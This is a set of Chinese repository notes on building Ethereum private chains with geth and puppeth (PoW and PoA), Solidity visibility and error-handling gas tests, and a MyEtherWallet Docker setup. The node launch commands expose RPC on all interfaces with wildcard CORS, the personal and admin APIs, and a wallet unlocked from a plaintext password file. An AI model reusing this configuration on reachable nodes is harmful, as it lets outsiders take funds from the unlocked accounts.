56 | - 初始化 genesis.json, 采用POW进行挖矿 57 | ```bash 58 | prod@ubuntu:~/ethereum/node-test$ puppeth 59 | +-----------------------------------------------------------+ 60 | | Welcome to puppeth, your Ethereum private network manager | 61 | | | 62 | | This tool lets you create a new Ethereum network down to | 63 | | the genesis block, bootnodes, miners and ethstats servers | 64 | | without the hassle that it would normally entail. | 65 | | | 66 | | Puppeth uses SSH to dial in to remote servers, and builds | 67 | | its network components out of Docker containers using the | 68 | | docker-compose toolset. | 69 | +-----------------------------------------------------------+ 70 | 71 | Please specify a network name to administer (no spaces or hyphens, please) 72 | > borey 73 | 74 | Sweet, you can set this via --network=borey next time! 75 | 76 | INFO [06-11|14:57:17] Administering Ethereum network name=borey 77 | WARN [06-11|14:57:17] No previous configurations found path=/home/prod/.puppeth/borey 78 | 79 | What would you like to do? (default = stats) 80 | 1. Show network stats 81 | 2. Configure new genesis 82 | 3. Track new remote server 83 | 4. Deploy network components 84 | > 2 85 | 86 | Which consensus engine to use? (default = clique) 87 | 1. Ethash - proof-of-work 88 | 2. Clique - proof-of-authority 89 | > 1 90 | 91 | Which accounts should be pre-funded? (advisable at least one) 92 | > 0xfbade207f880faf479f1e76b55efcdeeb303c461 93 | > 0x 94 | 95 | Specify your chain/network ID if you want an explicit one (default = random) 96 | > 1024 97 | INFO [06-11|14:57:47] Configured new genesis block 98 | 99 | What would you like to do? (default = stats) 100 | 1. Show network stats 101 | 2. Manage existing genesis 102 | 3. Track new remote server 103 | 4. Deploy network components 104 | > 2 105 | 106 | 1. Modify existing fork rules 107 | 2. Export genesis configuration 108 | 3. Remove genesis configuration 109 | > 2 110 | 111 | Which file to save the genesis into? (default = borey.json) 112 | > genesis.json 113 | INFO [06-11|14:58:17] Exported existing genesis block 114 | 115 | What would you like to do? (default = stats) 116 | 1. Show network stats 117 | 2. Manage existing genesis 118 | 3. Track new remote server 119 | 4. Deploy network components 120 | > ^C 121 | 122 | ``` 123 | 124 | - 私链初始化 125 | ```bash 126 | prod@ubuntu:~/ethereum/node-test$ geth --datadir node/ init genesis.json 127 | INFO [06-11|15:00:13] Maximum peer count ETH=25 LES=0 total=25 128 | INFO [06-11|15:00:13] Allocated cache and file handles database=/home/prod/ethereum/node-test/node/geth/chaindata cache=16 handles=16 129 | INFO [06-11|15:00:13] Writing custom genesis block 130 | INFO [06-11|15:00:13] Persisted trie from memory database nodes=355 size=65.27kB time=809.462µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B 131 | INFO [06-11|15:00:13] Successfully wrote genesis state database=chaindata hash=263108…b658f4 132 | INFO [06-11|15:00:13] Allocated cache and file handles database=/home/prod/ethereum/node-test/node/geth/lightchaindata cache=16 handles=16 133 | INFO [06-11|15:00:13] Writing custom genesis block 134 | INFO [06-11|15:00:13] Persisted trie from memory database nodes=355 size=65.27kB time=866.522µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B 135 | INFO [06-11|15:00:13] Successfully wrote genesis state database=lightchaindata hash=263108…b658f4 136 | prod@ubuntu:~/ethereum/node-test$ 137 | 138 | ``` 139 | 140 | - 运行私链 141 | ```bash 142 | geth --identity "borey" --ethash.dagsinmem 0 --rpc --rpcport "8545" --rpcaddr "0.0.0.0" --datadir node --port "30303" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner" --networkid 1024 --nodiscover 143 | ``` 144 | 145 | - 连接服务通过ipc 146 | ```bash 147 | prod@ubuntu:~/ethereum/node-test$ geth attach node/geth.ipc 148 | Welcome to the Geth JavaScript console! 149 | 150 | instance: Geth/borey/v1.8.9-stable-ff9b1461/linux-amd64/go1.10.1 151 | coinbase: 0xfbade207f880faf479f1e76b55efcdeeb303c461 152 | at block: 0 (Mon, 11 Jun 2018 14:57:24 CST) 153 | datadir: /home/prod/ethereum/node-test/node 154 | modules: admin:1.0 debug:1.0 eth:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0 155 | 156 | # 查看 node coinbase 157 | > eth.coinbase 158 | "0xfbade207f880faf479f1e76b55efcdeeb303c461" 159 | # 查询 coinbase 余额 160 | > web3.fromWei(eth.getBalance(eth.coinbase), 'ether') 161 | 9.04625697166532776746648320380374280103671755200316906558262375061821325312e+56 162 | 163 | # 查看nodeinfo, 通过admin.addPeer用来添加节点, 注意:修改[::] 为ip地址 164 | > admin.nodeInfo.enode 165 | "enode://e45dc30d829a66d8af0eb8279d08645e0276e9f126a5f8bfb60fb16bb7c73692322a9655394f45513e0f418ce80a06072b3eb63c9a34024d1a38e496b0936fd7@[::]:30303?discport=0" 166 | # 挖矿 开始记账 167 | > miner.start() 168 | ``` 169 | 170 | 171 | ## Ethereum私链部署(POA) 172 | - 初始化账户 173 | ```bash 174 | # 创建 node1 的 coinbase 钱包 175 | prod@ubuntu:~/ethereum/poa$ geth --datadir nodes/node1 account new 176 | INFO [06-13|15:25:14] Maximum peer count ETH=25 LES=0 total=25 177 | Your new account is locked with a password. Please give a password. Do not forget this password. 178 | Passphrase: 179 | Repeat passphrase: 180 | Address: {5dab1b9d9da91d77c3b130785c1117507e252412} 181 | 182 | # 创建 node2 的 coinbase 钱包 183 | prod@ubuntu:~/ethereum/poa$ geth --datadir nodes/node2 account new 184 | INFO [06-13|15:25:39] Maximum peer count ETH=25 LES=0 total=25 185 | Your new account is locked with a password. Please give a password. Do not forget this password. 186 | Passphrase: 187 | Repeat passphrase: 188 | Address: {e1ace7e1a98ab69abdd45f58aa2ed0899f7fe236} 189 | 190 | ``` 191 | 192 | - 初始化 genesis.json, 采用POA进行挖矿 193 | ```bash 194 | prod@ubuntu:~/ethereum/poa$ puppeth 195 | +-----------------------------------------------------------+ 196 | | Welcome to puppeth, your Ethereum private network manager | 197 | | | 198 | | This tool lets you create a new Ethereum network down to | 199 | | the genesis block, bootnodes, miners and ethstats servers | 200 | | without the hassle that it would normally entail. | 201 | | | 202 | | Puppeth uses SSH to dial in to remote servers, and builds | 203 | | its network components out of Docker containers using the | 204 | | docker-compose toolset. | 205 | +-----------------------------------------------------------+ 206 | 207 | Please specify a network name to administer (no spaces or hyphens, please) 208 | > poaNet 209 | 210 | Sweet, you can set this via --network=poaNet next time! 211 | 212 | INFO [06-13|15:27:46] Administering Ethereum network name=poaNet 213 | WARN [06-13|15:27:46] No previous configurations found path=/home/prod/.puppeth/poaNet 214 | 215 | What would you like to do? (default = stats) 216 | 1. Show network stats 217 | 2. Configure new genesis 218 | 3. Track new remote server 219 | 4. Deploy network components 220 | > 2 221 | 222 | # 共识机制选择 POA 223 | Which consensus engine to use? (default = clique) 224 | 1. Ethash - proof-of-work 225 | 2. Clique - proof-of-authority 226 | > 2 227 | 228 | # 配置出块时间间隔 229 | How many seconds should blocks take? (default = 15) 230 | > 5 231 | 232 | # 配置初始化权限账户 233 | Which accounts are allowed to seal? (mandatory at least one) 234 | > 0x5dab1b9d9da91d77c3b130785c1117507e252412 235 | > 0x 236 | 237 | # 初始化钱包 238 | Which accounts should be pre-funded? (advisable at least one) 239 | > 0x5dab1b9d9da91d77c3b130785c1117507e252412 240 | > 0x 241 | 242 | Specify your chain/network ID if you want an explicit one (default = random) 243 | > 1034 244 | INFO [06-13|15:28:46] Configured new genesis block 245 | 246 | What would you like to do? (default = stats) 247 | 1. Show network stats 248 | 2. Manage existing genesis 249 | 3. Track new remote server 250 | 4. Deploy network components 251 | > 2 252 | 253 | 1. Modify existing fork rules 254 | 2. Export genesis configuration 255 | 3. Remove genesis configuration 256 | > 2 257 | 258 | Which file to save the genesis into? (default = poaNet.json) 259 | > genesis_poa_net.json 260 | INFO [06-13|15:29:22] Exported existing genesis block 261 | 262 | What would you like to do? (default = stats) 263 | 1. Show network stats 264 | 2. Manage existing genesis 265 | 3. Track new remote server 266 | 4. Deploy network components 267 | > ^C 268 | prod@ubuntu:~/ethereum/poa$ ls 269 | genesis_poa_net.json nodes 270 | 271 | ``` 272 | 273 | - 初始化节点 274 | ```bash 275 | prod@ubuntu:~/ethereum/poa$ geth --datadir nodes/node1 init genesis_poa_net.json 276 | INFO [06-13|15:44:43] Maximum peer count ETH=25 LES=0 total=25 277 | INFO [06-13|15:44:43] Allocated cache and file handles database=/home/prod/ethereum/poa/nodes/node1/geth/chaindata cache=16 handles=16 278 | INFO [06-13|15:44:43] Writing custom genesis block 279 | INFO [06-13|15:44:43] Persisted trie from memory database nodes=355 size=65.27kB time=1.55262ms gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B 280 | INFO [06-13|15:44:43] Successfully wrote genesis state database=chaindata hash=29ea83…bf0671 281 | INFO [06-13|15:44:43] Allocated cache and file handles database=/home/prod/ethereum/poa/nodes/node1/geth/lightchaindata cache=16 handles=16 282 | INFO [06-13|15:44:43] Writing custom genesis block 283 | INFO [06-13|15:44:43] Persisted trie from memory database nodes=355 size=65.27kB time=769.432µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B 284 | INFO [06-13|15:44:43] Successfully wrote genesis state database=lightchaindata hash=29ea83…bf0671 285 | prod@ubuntu:~/ethereum/poa$ geth --datadir nodes/node2 init genesis_poa_net.json 286 | INFO [06-13|15:44:49] Maximum peer count ETH=25 LES=0 total=25 287 | INFO [06-13|15:44:49] Allocated cache and file handles database=/home/prod/ethereum/poa/nodes/node2/geth/chaindata cache=16 handles=16 288 | INFO [06-13|15:44:49] Writing custom genesis block 289 | INFO [06-13|15:44:49] Persisted trie from memory database nodes=355 size=65.27kB time=871.627µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B 290 | INFO [06-13|15:44:49] Successfully wrote genesis state database=chaindata hash=29ea83…bf0671 291 | INFO [06-13|15:44:49] Allocated cache and file handles database=/home/prod/ethereum/poa/nodes/node2/geth/lightchaindata cache=16 handles=16 292 | INFO [06-13|15:44:49] Writing custom genesis block 293 | INFO [06-13|15:44:49] Persisted trie from memory database nodes=355 size=65.27kB time=831.795µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B 294 | INFO [06-13|15:44:49] Successfully wrote genesis state database=lightchaindata hash=29ea83…bf0671 295 | ``` 296 | - 创建bootnode, 用于节点之间的发现 297 | ```bash 298 | # 初始化 299 | prod@ubuntu:~/ethereum/poa/nodes$ mkdir bootnode 300 | prod@ubuntu:~/ethereum/poa/nodes$ bootnode -genkey bootnode/boot.key 301 | 302 | # 运行bootnode 303 | prod@ubuntu:~/ethereum/poa/nodes$ bootnode -nodekey bootnode/boot.key -addr :30310 304 | INFO [06-13|18:07:11] UDP listener up self=enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@[::]:30310 305 | ``` 306 | 307 | - 运行私链 308 | ```bash 309 | echo "wallet password" > nodes/node1/password 310 | # node1 bootstrap 并进行挖矿 311 | geth --syncmode 'full' \ 312 | --rpc --rpcport "8541" --rpcaddr "0.0.0.0" \ 313 | --datadir nodes/node1 --port "30301" --rpccorsdomain "*" \ 314 | --rpcapi "personal,db,eth,net,web3,admin,txpool,miner,clique" \ 315 | --networkid 1034 \ 316 | --unlock 0x5dab1b9d9da91d77c3b130785c1117507e252412 \ 317 | --password nodes/node1/password \ 318 | --bootnodes enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@127.0.0.1:30310 \ 319 | --mine 320 | ``` 321 | node1 节点 log: 322 | ![](./images/poa.n1.t1.png) 323 | 324 | - 添加节点 325 | - 登录node1 console , 添加 node2 对应的 coinbase 326 | ```bash 327 | prod@ubuntu:~/ethereum/poa$ geth attach nodes/node1/geth.ipc 328 | Welcome to the Geth JavaScript console! 329 | 330 | instance: Geth/v1.8.10-stable/linux-amd64/go1.10.2 331 | coinbase: 0x5dab1b9d9da91d77c3b130785c1117507e252412 332 | at block: 53 (Wed, 13 Jun 2018 18:27:36 CST) 333 | datadir: /home/prod/ethereum/poa/nodes/node1 334 | modules: admin:1.0 clique:1.0 debug:1.0 eth:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0 335 | 336 | # 添加 signer 地址 337 | > clique.propose("0xe1ACe7e1a98AB69aBDd45F58aa2eD0899f7fe236", true) 338 | null 339 | ``` 340 | 341 | - 启动 node2 节点 342 | ```bash 343 | echo "wallet password" > nodes/node2/password 344 | # node2 bootstrap 345 | geth --syncmode 'full' \ 346 | --rpc --rpcport "8542" --rpcaddr "0.0.0.0" \ 347 | --datadir nodes/node2 --port "30302" --rpccorsdomain "*" \ 348 | --rpcapi "personal,db,eth,net,web3,admin,txpool,miner,clique" \ 349 | --networkid 1034 \ 350 | --unlock 0xe1ACe7e1a98AB69aBDd45F58aa2eD0899f7fe236 \ 351 | --password nodes/node2/password \ 352 | --bootnodes enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@127.0.0.1:30310 \ 353 | --mine 354 | ``` 355 | node2 log: 356 | ![](./images/poa.n2.t1.png) 357 | 358 | - 依次类推进行添加 node 3 .. n 359 | -------------------------------------------------------------------------------- /notes/summary/images/assert.test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/assert.test.png -------------------------------------------------------------------------------- /notes/summary/images/myetherwallet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/myetherwallet.png -------------------------------------------------------------------------------- /notes/summary/images/poa.n1.t1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/poa.n1.t1.png -------------------------------------------------------------------------------- /notes/summary/images/poa.n2.t1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/poa.n2.t1.png -------------------------------------------------------------------------------- /notes/summary/images/public.external.sum1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/public.external.sum1.png -------------------------------------------------------------------------------- /notes/summary/images/public.external.sum2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/public.external.sum2.png -------------------------------------------------------------------------------- /notes/summary/images/public.external.test1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/public.external.test1.png -------------------------------------------------------------------------------- /notes/summary/images/public.external.test2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/public.external.test2.png -------------------------------------------------------------------------------- /notes/summary/images/require.test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/images/require.test.png -------------------------------------------------------------------------------- /notes/summary/knowledge.md: -------------------------------------------------------------------------------- 1 | # 目录 2 | * [basics](#basics) 3 | * [solidity functions and variables](#solidity-functions-and-variables) 4 | * [different between public and external](#different-between-public-and-external) 5 | * [different between prue and view](#different-between-prue-and-view) 6 | * [different between require and assert](#different-between-require-and-assert) 7 | * [send ether from contract to another contract](#send-ether-from-contract-to-another-contract) 8 | * [modifer function with parameters](#modifer-function-with-parameters) 9 | 10 | 11 | # 总结 12 | 13 | ## basics 14 | 15 | - [【官网】数据类型](https://solidity.readthedocs.io/en/latest/types.html) 16 | - [【官网】全局有效变量及内置函数](https://solidity.readthedocs.io/en/latest/units-and-global-variables.html) 17 | - [【官网】表达式和控制结构](https://solidity.readthedocs.io/en/latest/control-structures.html) 18 | - [【官网】智能合约](https://solidity.readthedocs.io/en/latest/contracts.html) 19 | - [【官网】函数](https://solidity.readthedocs.io/en/latest/contracts.html#functions) 20 | - [【官网】Modifier](https://solidity.readthedocs.io/en/latest/contracts.html#function-modifiers): 类似于Python中的装饰器 21 | - [【官网】继承](https://solidity.readthedocs.io/en/latest/contracts.html#inheritance) 22 | - [【官网】抽象](https://solidity.readthedocs.io/en/latest/contracts.html#abstract-contracts) 23 | - [【官网】接口](https://solidity.readthedocs.io/en/latest/contracts.html#interfaces): 类似于Java、Go 中的 Interface; 24 | - [【官网】函数库、using for](https://solidity.readthedocs.io/en/latest/contracts.html#libraries): 类似Scala中的隐式转换,为类型或结构体添加成员函数 ; 25 | 26 | ## solidity functions and variables 27 | 官方原文: 28 | 29 |   Since Solidity knows two kinds of function calls (internal ones that do not create an actual EVM call (also called a “message call”) and external ones that do), there are four types of visibilities for functions and state variables.
30 |   Functions can be specified as being external, public, internal or private, where the default is public. For state variables, external is not possible and the default is internal.
31 | 32 | external:
33 |   External functions are part of the contract interface, which means they can be called from other contracts and via transactions. An external function f cannot be called internally (i.e. f() does not work, but this.f() works). External functions are sometimes more efficient when they receive large arrays of data. 34 | 35 | public:
36 |   Public functions are part of the contract interface and can be either called internally or via messages. For public state variables, an automatic getter function (see below) is generated. 37 | 38 | internal:
39 |   Those functions and state variables can only be accessed internally (i.e. from within the current contract or contracts deriving from it), without using this. 40 | 41 | private:
42 |   Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. 43 | 44 | 概述: 45 | 46 | Solidity 有两种函数形式调用: 47 | 1) 内部调用(internal), `不创建EVM的调用也被称为消息调用`; 48 | 2) 外部调用(external), 言外之意就是需要创建实际的EVM进行调用; 49 | 50 | Solidity 函数和变量: 51 | 1) 函数可声明为有四种类型:external, public, internal or private; 52 | 2) 变量可声明为有三种类型:public, internal or private; 53 | 3) 函数默认为 `public`; 54 | 4) 变量默认为 `internal`; 55 | 56 | external: 57 | 1) 智能合约对外部的接口函数可以定义为 external 类型, `在接收大数组时更高效(如何高效? 下面章节详细描述)`; 58 | 2) 定义为该类型的函数,在智能合约中不能直接调用,需要通过 `this.` 调用; 59 | 60 | public: 61 | 1) 智能合约对外部的接口函数也可以定义为 public 类型, 也可以在该智能合约中进行内部调用(消息调用); 62 | 2) 变量声明为public时, solidity会对该变量生成一个getter方法; 例如: 定义 了变量 data, 可用过contract instance 进行方法 .data() 调用; 63 | 64 | internal: 65 | 1) 该类型声明的方法或变量,只能在合约内或在子合约中进行访问, 不需要使用 `this`; 66 | 67 | private: 68 | 1) 该类型声明的方法或变量,只能在该合约访问, 子合约无权访问; 69 | 70 | 71 | ## Different between public and external 72 | ### Summary 73 | 1) public 和 external 都可以提供给内部和外部使用; 74 | 2) external 在传递大数组时效率更高,消耗的gas较少 75 | - public 属于内部调用, 内部调用通过代码中的跳转执行,数组参数通过指向内存的指针在内部传递,因此当编译器为内部函数生成代码时,该函数期望其参数位于内存中, 所以需要拷贝所有参数到内存中; 76 | - external 属于外部调用, 允许函数直接读取参数通过 `calldata` 方法, 省去了内存复制操作; 77 | 3) public 在合约内部使用更高效, 因为 external 函数需要构建EVM进行CALL指令代价昂贵; 78 | 79 | ### 数据传输测试 80 | ```solidity 81 | pragma solidity ^0.4.24; 82 | 83 | contract Test { 84 | 85 | function sum1(uint256[] data) public pure { 86 | require(data[1] > 0); 87 | } 88 | 89 | function sum2(uint256[] data) external pure { 90 | require(data[1] > 0); 91 | } 92 | } 93 | ``` 94 | Result: public 函数调用消耗了465 gas 95 | ![](./images/public.external.sum1.png) 96 | 97 | Result: external 函数调用消耗了337 gas 98 | ![](./images/public.external.sum2.png) 99 | 100 | 101 | ### 合约内部调用public 和 external 测试 102 | ```solidity 103 | pragma solidity ^0.4.24; 104 | 105 | contract Test { 106 | function test1() public view { 107 | require(show1() == 256); 108 | } 109 | 110 | function test2() public view { 111 | require(this.show2() == 256); 112 | } 113 | 114 | function show1() public pure returns (uint256){ 115 | return uint256(256); 116 | } 117 | 118 | function show2() external pure returns (uint256){ 119 | return uint256(256); 120 | } 121 | } 122 | ``` 123 | Result: public 函数调用消耗了219 gas 124 | ![](./images/public.external.test1.png) 125 | 126 | Result: external 函数调用消耗了2024 gas 127 | ![](./images/public.external.test2.png) 128 | 129 | ## Different between prue and view 130 | `prue` 和 `view` 是由常量`constant` 改进后新的修饰符, [github issue](https://github.com/ethereum/solidity/issues/992) 中进行了相关描述。 131 | 132 | ### 官方文档 133 | - View Functions 134 | 135 | Functions can be declared view in which case they promise not to modify the state. 136 | 137 | The following statements are considered modifying the state: 138 | - Writing to state variables. 139 | - Emitting events. 140 | - Creating other contracts. 141 | - Using selfdestruct. 142 | - Sending Ether via calls. 143 | - Calling any function not marked view or pure. 144 | - Using low-level calls. 145 | - Using inline assembly that contains certain opcodes. 146 | 147 | Warning: The compiler does not enforce yet that a view method is not modifying state. It raises a warning though. 148 | 149 | - Pure Functions 150 | 151 | Functions can be declared pure in which case they promise not to read from or modify the state. 152 | 153 | In addition to the list of state modifying statements explained above, the following are considered reading from the state: 154 | - Reading from state variables. 155 | - Accessing this.balance or
.balance. 156 | - Accessing any of the members of block, tx, msg (with the exception of msg.sig and msg.data). 157 | - Calling any function not marked pure. 158 | - Using inline assembly that contains certain opcodes. 159 | 160 | Warning: It is not possible to prevent functions from reading the state at the level of the EVM, it is only possible to prevent them from writing to the state (i.e. only view can be enforced at the EVM level, pure can not). 161 | 162 | Warning: Before version 0.4.17 the compiler didn’t enforce that pure is not reading the state. 163 | 164 | ### summary 165 | 1) `view`修饰的函数 promise 不修改合约状态,意味着不能使用 `SSTORE`,不能发送或接收Ether,只能调用其他 view 方法或纯函数。 166 | 2) `pure`修饰的函数 相对 `view`修饰的函数 额外地 promise 不能读取合约状态, 意味着不能使用 `SSTORE`、`SLOAD` , 不能发送或接收Ether, 不能使用全局变量 `msg`、`block`等, 只能调用其他 pure 方法。 167 | 3) `BUT` 编译器不会强制 `view` 函数不能修改状态,只会进行Warning警告! 168 | 4) `BUT` 编译器不会强制 `prue` 函数不能读取状态,只会进行Warning警告! 169 | 170 | ## Different between require and assert 171 | ### 官方文档 172 |   [Error handling: Assert, Require, Revert and Exceptions](https://solidity.readthedocs.io/en/develop/control-structures.html#error-handling-assert-require-revert-and-exceptions) 173 | 174 |   Internally, Solidity performs a revert operation (instruction 0xfd) for a require-style exception and executes an invalid operation (instruction 0xfe) to throw an assert-style exception. In both cases, this causes the EVM to revert all changes made to the state. The reason for reverting is that there is no safe way to continue execution, because an expected effect did not occur. Because we want to retain the atomicity of transactions, the safest thing to do is to revert all changes and make the whole transaction (or at least call) without effect. Note that assert-style exceptions consume all gas available to the call, while require-style exceptions will not consume any gas starting from the Metropolis release. 175 | 176 | ### Summary 177 | 1. solidity使用state-reverting异常来处理错误,自动恢复此次call修改的状态; 178 | 2. require 通常用于检测确定的条件(如 input 或 contract state variables),或验证调用其他contract函数的返回值, 会经常使用; 179 | 3. assert 通常用来测试内部调用错误,或特殊的约束条件, 尽量通过代码层避免; 180 | 4. require(指令 [0xfd](https://github.com/ethereum/solidity/blob/v0.4.24/libevmasm/Instruction.h#L198)) 181 | 是 `REVERT opcode` ,意味着会退还剩余的GAS; 182 | 5. assert(指令 [0xfe](https://github.com/ethereum/solidity/blob/v0.4.24/libevmasm/Instruction.h#L199)) 是 `INVALID opcode`, 将使用完该次调用所需要的GAS; 183 | 184 | ### Gas消耗测试 185 | ```solidity 186 | pragma solidity ^0.4.24; 187 | 188 | contract Test { 189 | function test1(uint256 v) public view { 190 | require(v == 256); 191 | } 192 | function test2(uint256 v) public view { 193 | assert(v == 256); 194 | } 195 | } 196 | ``` 197 | 198 | require 抛出的VM Error 为 Revert, 消耗了 214 GAS; 199 | ![require test](./images/require.test.png) 200 | 201 | assert 抛出的VM Error 为 Invalid, 消耗了 2978536 GAS; 202 | ![assert test](./images/assert.test.png) 203 | 204 | 205 | ## Send ether from contract to another contract 206 | 207 | 208 | ## Modifer function with parameters 209 | 210 | 211 | -------------------------------------------------------------------------------- /notes/summary/myetherwallet.md: -------------------------------------------------------------------------------- 1 | # Docker 部署 MyEtherWallet 2 | 3 | - download 4 | 5 | 下载最新版本的etherwallet https://github.com/kvhnuke/etherwallet/releases 6 | 7 | - Write Dockerfile 8 | ```docker 9 | FROM nginx 10 | WORKDIR /etherwallet 11 | 12 | ADD dist /usr/share/nginx/html 13 | RUN echo "server {\ 14 | listen 80; \ 15 | server_name localhost; \ 16 | location / { \ 17 | root /usr/share/nginx/html; \ 18 | index index.html index.htm; \ 19 | }\ 20 | error_page 500 502 503 504 /50x.html;\ 21 | location = /50x.html {\ 22 | root /usr/share/nginx/html;\ 23 | }\ 24 | }" > /etc/nginx/conf.d/wallet.conf 25 | 26 | EXPOSE 80 27 | 28 | CMD ["nginx", "-g", "daemon off;"] 29 | ``` 30 | - tree directory 31 | ```bash 32 | prod@ubuntu:~/ethereum$ tree -L 2 etherwallet-v3.21.12 33 | etherwallet-v3.21.12 34 | ├── dist 35 | │   ├── bin 36 | │   ├── contest.html 37 | │   ├── css 38 | │   ├── embedded.html 39 | │   ├── fonts 40 | │   ├── helpers.html 41 | │   ├── images 42 | │   ├── index.html 43 | │   ├── js 44 | │   ├── package.json 45 | │   ├── phishing.html 46 | │   ├── README.md 47 | │   └── signmsg.html 48 | └── Dockerfile 49 | 50 | 6 directories, 9 files 51 | 52 | ``` 53 | 54 | - docker compile && run 55 | ```bash 56 | # 编译 57 | docker build -t etherwallet:latest . 58 | 59 | # 部署 60 | docker run -d --name etherwallet -p 0.0.0.0:80:80 etherwallet:latest 61 | ``` 62 | 63 | - Add Custom Network 64 | 65 | 按照下图 1、2、3、4 步骤填写私链信息保存: 66 | ![](./images/myetherwallet.png) 67 | 68 | - notice 69 | 70 | 当使用`ssl`时,无法连接本地geth节点 71 | 72 | -------------------------------------------------------------------------------- /notes/summary/poa.md: -------------------------------------------------------------------------------- 1 | ## POA (proof-of-authority) 2 | 3 | 允许授权节点(signers)对区块进行签名挖矿, 通过控制节点难度系数进行延迟出块, 来确保难度系数最低的优先出块并进行广播。 4 | 5 | - 难度系数计算通过满足 (block_number % signers) == (index of signers) 条件的signer标记为diffInTurn, 其余的signer标记为diffNoTurn;以此来设置延迟时长; 6 | - [calc Difficulty 源码](https://github.com/ethereum/go-ethereum/blob/master/consensus/clique/clique.go#L669) 7 | - [diffInTurn 源码](https://github.com/ethereum/go-ethereum/blob/master/consensus/clique/snapshot.go#L304) 8 | 9 | 10 | - 共识机制保证同一个signer只能签名 连续 (SIGNER_COUNT / 2) + 1) blocks 中的一个block; 11 | - [保证算法 源码](https://github.com/ethereum/go-ethereum/blob/master/consensus/clique/clique.go#L619) 12 | 13 | 14 | 简言之: 对signers进行轮询出块; 15 | 16 | ### 特点 17 | - PoA是依靠预设好的授权节点(signers),负责产生block; 18 | - 可以由已授权的signer选举(投票超过50%)加入新的signer; 19 | - 即使存在恶意signer, 他最多只能攻击连续块(数量是 (SIGNER_COUNT / 2) + 1) 中的1个, 期间可以由其他signer投票踢出该恶意signer; 20 | - 可指定产生block的时间; 21 | 22 | 23 | ### POA 工作流程 24 | 1. 在创世块中指定一组初始授权的signers, 所有地址 保存在创世块Extra字段中; 25 | 26 | 2. 启动挖矿后, 该组signers开始对生成的block 进行签名并广播; 27 | 28 | 3. 签名结果 保存在区块头的Extra字段中; 29 | 30 | 4. Extra中更新当前高度已授权的所有signers的地址 ,因为有新加入或踢出的signer; 31 | 32 | 5. 每一高度都有一个signer处于IN-TURN状态, 其他signer处于OUT-OF-TURN状态, IN-TURN的signer签名的block会 立即广播 , OUT-OF-TURN的signer签名的block会 延时 一点随机时间后再广播, 保证IN-TURN的签名block有更高的优先级上链; 33 | 34 | 6. 如果需要加入一个新的signer, signer通过API接口发起一个proposal, 该proposal通过复用区块头 Coinbase(新signer地址)和Nonce("0xffffffffffffffff") 字段广播给其他节点. 所有已授权的signers对该新的signer进行"加入"投票, 如果赞成票超过signers总数的50%, 表示同意加入; 35 | 36 | 7. 如果需要踢出一个旧的signer, 所有已授权的signers对该旧的signer进行"踢出"投票, 如果赞成票超过signers总数的50%, 表示同意踢出; 37 | 38 | 39 | ## Resources 40 | - [Clique PoA protocol & Rinkeby PoA testnet #EIP-225](https://github.com/ethereum/EIPs/issues/225) (中译 [链接](https://github.com/ZtesoftCS/go-ethereum-code-analysis/blob/master/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E6%B5%8B%E8%AF%95%E7%BD%91%E7%BB%9CClique_PoA%E4%BB%8B%E7%BB%8D.md)) 41 | 42 | - [简书: 以太坊PoA共识引擎算法介绍](https://www.jianshu.com/p/9025a523ab0f) 43 | 44 | - [Medium: 使用 go-ethereum 1.6 Clique PoA consensus 建立 Private chain](https://medium.com/taipei-ethereum-meetup/%E4%BD%BF%E7%94%A8-go-ethereum-1-6-clique-poa-consensus-%E5%BB%BA%E7%AB%8B-private-chain-1-4d359f28feff) 45 | 46 | - [What is the safest minimum block time to use without having any problem on Proof-of-Authority consensus?](https://ethereum.stackexchange.com/questions/37985/what-is-the-safest-minimum-block-time-to-use-without-having-any-problem-on-proof) -------------------------------------------------------------------------------- /notes/summary/supervisor.md: -------------------------------------------------------------------------------- 1 | # Supervisord 配置 2 | - install 3 | ```bash 4 | prod@ubuntu:~$ sudo pip install supervisord 5 | ``` 6 | 7 | - configure 8 | ```bash 9 | # 创建配置文件路径 10 | prod@ubuntu:~$ mkdir -p 